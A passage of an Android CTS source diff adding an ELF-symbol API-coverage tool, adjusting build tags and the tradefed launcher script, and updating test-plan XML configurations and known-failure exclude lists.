+    public static void addToDom(Document dom, Element pkgEle, ReadElf.Symbol[] symArr) {
+        HashMap<String, Element> classEleMap = new HashMap<String, Element>();
+        for (int i = 0; i < symArr.length; i++) {
+            if (symArr[i].isExtern()) {
+                Element methodEle;
+                if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+                    methodEle = createFieldEle(dom, symArr[i].name);
+                } else {
+                    methodEle = createMethodEle(dom, symArr[i].name);
+                }
+
+                System.out.println(symArr[i].name);
+
+                // add to the class element
+                String libName = symArr[i].getVerDefLibName();
+                Element classEle = classEleMap.get(libName);
+                if (classEle == null) {
+                    classEle = createClassEle(dom, libName);
+                    classEleMap.put(libName, classEle);
+                }
+                classEle.appendChild(methodEle);
+            }
+        }
+        Iterator ite = classEleMap.entrySet().iterator();
+        while (ite.hasNext()) {
+            Map.Entry<String, Element> entry = (Map.Entry<String, Element>) ite.next();
+            pkgEle.appendChild(entry.getValue());
+        }
+    }
+
+    public static void saveToXML(String xml, ReadElf.Symbol[] symArr) {
+        Document dom;
+        Element ele = null;
+
+        // instance of a DocumentBuilderFactory
+        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+        try {
+            // use factory to get an instance of document builder
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            // create instance of DOM
+            dom = db.newDocument();
+
+            // create the root element
+            Element apiEle = dom.createElement(API_TAG);
+            Element packageEle = dom.createElement(PACKAGE_TAG);
+            setAttribute(dom, packageEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+            Element classEle = createClassEle(dom, "class");
+            packageEle.appendChild(classEle);
+            apiEle.appendChild(packageEle);
+            dom.appendChild(apiEle);
+
+            for (int i = 0; i < symArr.length; i++) {
+                if (symArr[i].isExtern()) {
+                    Element methodEle;
+                    if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+                        methodEle = createFieldEle(dom, symArr[i].name);
+                    } else {
+                        methodEle = createMethodEle(dom, symArr[i].name);
+                    }
+                    classEle.appendChild(methodEle);
+                }
+            }
+
+            try {
+                Transformer tr = TransformerFactory.newInstance().newTransformer();
+                // enable indent in result file
+                tr.setOutputProperty(OutputKeys.INDENT, "yes");
+                tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+                // send DOM to file
+                tr.transform(new DOMSource(dom), new StreamResult(new FileOutputStream(xml)));
+
+            } catch (TransformerException te) {
+                System.out.println(te.getMessage());
+            } catch (IOException ioe) {
+                System.out.println(ioe.getMessage());
+            }
+        } catch (ParserConfigurationException pce) {
+            System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+        }
+    }
+
+    protected static boolean isInternalSymbol(ReadElf.Symbol sym) {
+        String value = sInternalSymMap.get(sym.name);
+        if (value == null) {
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    protected static void setAttribute(Document doc, Node elem, String name, String value) {
+        Attr attr = doc.createAttribute(name);
+        attr.setNodeValue(value);
+        elem.getAttributes().setNamedItem(attr);
+    }
+
+    protected static Element createClassEle(Document doc, String name) {
+        Element ele = doc.createElement(CLASS_TAG);
+        setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+        setAttribute(doc, ele, "abstract", "false");
+        setAttribute(doc, ele, "static", "false");
+        setAttribute(doc, ele, "final", "true");
+        setAttribute(doc, ele, "deprecated", "not deprecated");
+        setAttribute(doc, ele, "visibility", "public");
+        return ele;
+    }
+
+    protected static Element createMethodEle(Document doc, String name) {
+        Element ele = doc.createElement(METHOD_TAG);
+        setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+        setAttribute(doc, ele, "return", NDK_DUMMY_RETURN_TYPE);
+        setAttribute(doc, ele, "abstract", "false");
+        setAttribute(doc, ele, "native", "true");
+        setAttribute(doc, ele, "synchronized", "true");
+        setAttribute(doc, ele, "static", "false");
+        setAttribute(doc, ele, "final", "true");
+        setAttribute(doc, ele, "deprecated", "not deprecated");
+        setAttribute(doc, ele, "visibility", "public");
+        return ele;
+    }
+
+    protected static Element createFieldEle(Document doc, String name) {
+        Element ele = doc.createElement(FIELD_TAG);
+        setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+        setAttribute(doc, ele, "type", "native");
+        setAttribute(doc, ele, "transient", "false");
+        setAttribute(doc, ele, "volatile", "false");
+        setAttribute(doc, ele, "value", "");
+        setAttribute(doc, ele, "static", "false");
+        setAttribute(doc, ele, "final", "true");
+        setAttribute(doc, ele, "deprecated", "not deprecated");
+        setAttribute(doc, ele, "visibility", "public");
+        return ele;
+    }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
new file mode 100644
index 0000000..bdef0b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import java.io.File;
+import java.io.IOException;
+/** Class that holds Native Code Sumbols */
+public class TestModule {
+    private File mConfigExe;
+    private String mModuleName;
+    private String mClassName;
+    private ReadElf.Symbol[] mDynSymArr;
+
+    TestModule(File configExe, String moduleName, String className) {
+        mConfigExe = configExe;
+        mModuleName = moduleName;
+        mClassName = className;
+    }
+
+    public ReadElf.Symbol[] getDynSymArr() throws IOException {
+        if (mDynSymArr == null) {
+            ReadElf re = ReadElf.read(mConfigExe);
+            re.getDynamicSymbol("");
+            mDynSymArr = re.getDynSymArr();
+        }
+
+        return mDynSymArr;
+    }
+
+    public String getModuleName() {
+        return mModuleName;
+    }
+
+    public String getClassName() {
+        return mClassName;
+    }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
new file mode 100644
index 0000000..85423b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import org.xml.sax.Attributes;
+import org.xml.sax.SAXException;
+import org.xml.sax.helpers.DefaultHandler;
+
+/**
+ * {@link DefaultHandler} that builds an empty {@link ApiCoverage} object from scanning
+ * TestModule.xml.
+ */
+class TestModuleConfigHandler extends DefaultHandler {
+    private String mTestClassName;
+    private String mModuleName;
+    private Boolean inTestEle = false;
+
+    @Override
+    public void startElement(String uri, String localName, String name, Attributes attributes)
+            throws SAXException {
+        super.startElement(uri, localName, name, attributes);
+
+        if ("test".equalsIgnoreCase(localName)) {
+            mTestClassName = attributes.getValue("class");
+            inTestEle = true;
+        } else if ("option".equalsIgnoreCase(localName)) {
+            if (inTestEle) {
+                String optName = attributes.getValue("name");
+                if ("module-name".equalsIgnoreCase(optName)) {
+                    mModuleName = attributes.getValue("value");
+                }
+                //System.out.println(String.format("%s: %s, %s, %s", localName, name, optName, attributes.getValue("value")));
+            }
+        }
+    }
+
+    @Override
+    public void endElement(String uri, String localName, String name) throws SAXException {
+        super.endElement(uri, localName, name);
+        if ("test".equalsIgnoreCase(localName)) {
+            inTestEle = false;
+        }
+    }
+
+    public String getModuleName() {
+        return mModuleName;
+    }
+
+    public String getTestClassName() {
+        return mTestClassName;
+    }
+}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index 717b181..1ca719f 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
index 8630ac1..9d44f8c 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsMediaPreparerApp
 
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 8c36c21..76bfaa8 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPreconditions
 
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index a539e5b..e6c4750 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -20,12 +20,18 @@
 
 LOCAL_JAVA_RESOURCE_DIRS := res
 LOCAL_JAVA_RESOURCE_DIRS += ../../common/host-side/tradefed/res
+LOCAL_MODULE := cts-tradefed-harness
+LOCAL_JAVA_LIBRARIES += tradefed compatibility-host-util
+LOCAL_STATIC_JAVA_LIBRARIES := google-api-java-client-min-repackaged
+include $(BUILD_HOST_JAVA_LIBRARY)
 
+include $(CLEAR_VARS)
 LOCAL_SUITE_BUILD_NUMBER := $(BUILD_NUMBER_FROM_FILE)
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.0_r1
+LOCAL_SUITE_VERSION := 8.1_r1
+LOCAL_STATIC_JAVA_LIBRARIES += cts-tradefed-harness
 
 LOCAL_MODULE := cts-tradefed
 LOCAL_COMPATIBILITY_SUITE := general-tests
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 7560b62..93f7824 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -31,6 +31,11 @@
     fi;
 }
 
+# readlink does not work on MacOS so rely on our own realpath
+realpath() {
+    [[ $1 = /* ]] && echo "$1" || echo "$PWD/${1#./}"
+}
+
 checkPath aapt
 checkPath adb
 checkPath java
@@ -84,7 +89,7 @@
 
 if [ -z ${CTS_ROOT} ]; then
     # assume we're in an extracted cts install
-    CTS_ROOT="$(dirname $(readlink -e $0))/../.."
+    CTS_ROOT="$(dirname $(realpath $0))/../.."
 fi;
 
 JAR_DIR=${CTS_ROOT}/android-cts/tools
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
new file mode 100644
index 0000000..d19cad1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Common configuration for cts and cts-reference-aosp">
+
+    <include name="everything" />
+    <include name="cts-preconditions" />
+    <include name="cts-system-checkers" />
+    <include name="cts-known-failures" />
+
+    <option name="test-tag" value="cts" />
+
+    <option name="enable-root" value="false" />
+    <!-- retain 200MB of host log -->
+    <option name="max-log-size" value="200" />
+    <!--  retain 200MB of logcat -->
+    <option name="max-tmp-logcat-file" value="209715200" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="settings put global package_verifier_enable 0" />
+        <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.build.type" />
+        <option name="expected-value" value="user"/> <!-- Device should have user build -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.product.locale" />
+        <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
+    </target_preparer>
+    <template-include name="reporters" default="basic-reporters" />
+
+    <!-- Include additional test metadata output. -->
+    <template-include name="metadata-reporters" default="empty" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
new file mode 100644
index 0000000..240ffa1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests from main CTS runs">
+    <!-- b/64127136 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 49c34cc..f04239b 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -30,9 +30,8 @@
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend" />
 
-    <!-- b/17530117 -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
+    <!-- b/17989532 -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance" />
 
     <!-- These test cases are only applicable to Android Auto Embedded targets.-->
     <option name="compatibility:exclude-filter" value="CtsCarTestCases" />
@@ -124,15 +123,6 @@
     <!-- b/36686383 -->
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
 
-    <!-- b/33090965 -->
-    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
-    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
-    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
-    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
-
-    <!-- b/37545399 -->
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
-
     <!-- b/37482372 -->
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -177,23 +167,11 @@
     <!-- b/62481870 -->
     <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
 
-    <!-- b/62844160 -->
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAutoSizeCallers_setText" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionSingleLineLtr" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineLtr" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineRtl" />
-
     <!-- b/62976713 -->
     <option name="compatibility:exclude-filter" value="arm64-v8a CtsMediaBitstreamsTestCases" />
     <option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
     <option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
 
-    <!-- b/38280830 -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
-
-    <!-- b/63566721 -->
-    <option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases android.wrap.cts.WrapTest" />
-
     <!-- b/38420898 -->
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
@@ -218,6 +196,12 @@
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannels" />
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testReconfigure" />
 
-    <!-- b/64690009 -->
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest" />
+    <!-- b/65843095 -->
+    <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#statistics" />
+    <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#sepolicy_rate_limiter" />
+
+    <!-- b/67377433 -->
+    <!-- fails only on angler/bullhead userdebug -->
+    <option name="compatibility:exclude-filter" value="CtsLiblogTestCases liblog#wrap_mode_blocks" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
deleted file mode 100644
index bedbb4b..0000000
--- a/tools/cts-tradefed/res/config/cts-reference-aosp.xml
+++ /dev/null
@@ -1,175 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests using a reference AOSP system image">
-
-    <include name="cts" />
-
-    <option name="plan" value="cts-reference-aosp" />
-
-    <option name="compatibility:primary-abi-only" value="true" />
-
-    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
-    <!-- Tell all HostTests to exclude certain annotations -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
-    <!-- Radio system of a reference AOSP system image is not checked -->
-    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
-    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
-
-    <!-- Exclude telephony related testcases -->
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
-    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
-    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
-    <!-- Exclude not applicable testcases-->
-    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.UsbDebuggingTest#testUsbDebugging" />
-
-    <!--
-        Exclude Webkit related testcases
-        TODO(jaekyun@): b/63600240, Webkit related testcases will be revived when the RRO packaging logic is revised so that we can selectively compose a RRO from overlays.
-    -->
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testWebViewLoads" />
-    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
-    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testCookieManager" />
-    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testStrictMode" />
-    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApi" />
-    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApiOnUiThread" />
-    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
-    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAccessAutoLinkMask" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextCompletesPartialUrlAtTheEndOfExistingText" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextUpdatesUrlAtTheEndOfExistingText" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksEvenWhenThereAreUrlsSetBefore" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenAutoLinkIsEnabled" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenTextIsSpannableAndContainsUrlAndAutoLinkIsEnabled" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_doesNotAddLinksWhenAppendedTextDoesNotContainLinks" />
-    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_setsMovementMethodWhenTextContainsUrlAndAutoLinkIsEnabled" />
-
-    <!--
-        Exclude testcases failing on AOSP Pixel system.img
-        TODO(jaeshin@): b/63302562, Track future fixes to AOSP Pixel system.img and revive these testcases accordingly.
-    -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testExposedSystemActivities" />
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp8Other0Qual1920x1080" />
-
-    <!--
-        exclude below three CtsAppTestCases testcases failing on AOSP system.img
-    -->
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
-    <!--
-        Exclude Verity tese cases, because we need to disable Verity to test with GSI
-    -->
-    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation" />
-    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation" />
-
-    <!-- Exclude test cases for b/64488375
-    -->
-
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
-
-    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
-
-    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
-
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
-
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
